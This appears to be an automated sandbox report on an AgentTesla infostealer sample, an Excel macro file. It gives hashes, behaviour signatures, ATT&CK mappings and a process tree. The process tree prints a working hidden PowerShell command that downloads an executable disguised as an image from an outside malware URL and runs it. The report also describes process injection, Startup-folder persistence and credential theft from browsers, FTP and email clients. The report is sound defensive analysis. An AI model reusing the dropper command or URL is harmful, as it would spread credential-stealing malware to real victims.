agenttesla | fbe5f71e75c1b92c68a6da3698f42a2ca2f9fcc6f620f494c562583c194b2011

General

Target

CO-MFE-6-2020.xlsm
Size

173KB
MD5

84ba27c4b3083be263a54322adec3149
SHA1

2548d9097c1b27f064a7089afe393fde0fbfa64d
SHA256

fbe5f71e75c1b92c68a6da3698f42a2ca2f9fcc6f620f494c562583c194b2011
SHA512

1553f2c39b55a83161326b232b507d3cf957f633462ccd6bf19b9f6890ded4d70c7c0459347f88cf45c0c846e54672a393914b6f66778748b351e397743a914e

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://shopcart.indbytes.com/cig/4501307788.jpg

Signatures

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeName.exe

description	pid	process	target process
PID 1612 wrote to memory of 3864	1612	EXCEL.EXE	cmd.exe
PID 1612 wrote to memory of 3864	1612	EXCEL.EXE	cmd.exe
PID 3864 wrote to memory of 3472	3864	cmd.exe	powershell.exe
PID 3864 wrote to memory of 3472	3864	cmd.exe	powershell.exe
PID 3472 wrote to memory of 1072	3472	powershell.exe	Name.exe
PID 3472 wrote to memory of 1072	3472	powershell.exe	Name.exe
PID 3472 wrote to memory of 1072	3472	powershell.exe	Name.exe
PID 1072 wrote to memory of 3792	1072	Name.exe	RegAsm.exe
PID 1072 wrote to memory of 3792	1072	Name.exe	RegAsm.exe
PID 1072 wrote to memory of 3792	1072	Name.exe	RegAsm.exe
PID 1072 wrote to memory of 3792	1072	Name.exe	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

3472 powershell.exe
3472 powershell.exe
3472 powershell.exe
3792 RegAsm.exe
3792 RegAsm.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

Name.exe

description pid process target process

PID 1072 set thread context of 3792 1072 Name.exe RegAsm.exe
Drops startup file 1 IoCs

Processes:

Name.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HJdyTuap.exe Name.exe
Executes dropped EXE 1 IoCs

Processes:

Name.exe

pid process

1072 Name.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3472	powershell.exe
3472	powershell.exe
3472	powershell.exe
3792	RegAsm.exe
3792	RegAsm.exe

description	pid	process	target process
PID 1072 set thread context of 3792	1072	Name.exe	RegAsm.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HJdyTuap.exe	Name.exe

pid	process
1072	Name.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3864	1612	cmd.exe	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

17 3472 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Name.exe

pid process

1072 Name.exe

flow	pid	process
17	3472	powershell.exe

pid	process
1072	Name.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

EXCEL.EXERegAsm.exe

pid	process
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
1612	EXCEL.EXE
3792	RegAsm.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1612 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3472 powershell.exe
Token: SeDebugPrivilege 3792 RegAsm.exe
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

description	pid	process
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	3792	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\CO-MFE-6-2020.xlsm"
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:1612

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/4501307788.jpg',$env:Temp+'\Name.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Name.exe')
2⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/4501307788.jpg',$env:Temp+'\Name.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Name.exe')
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3472

C:\Users\Admin\AppData\Local\Temp\Name.exe
"C:\Users\Admin\AppData\Local\Temp\Name.exe"
4⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
PID:1072

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of AdjustPrivilegeToken
PID:3792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Name.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\Name.exe

Download Submit
memory/1072-4-0x0000000000000000-mapping.dmp

Download
memory/3472-3-0x0000000000000000-mapping.dmp

Download
memory/3792-7-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/3792-8-0x0000000000446DEE-mapping.dmp

Download
memory/3864-2-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads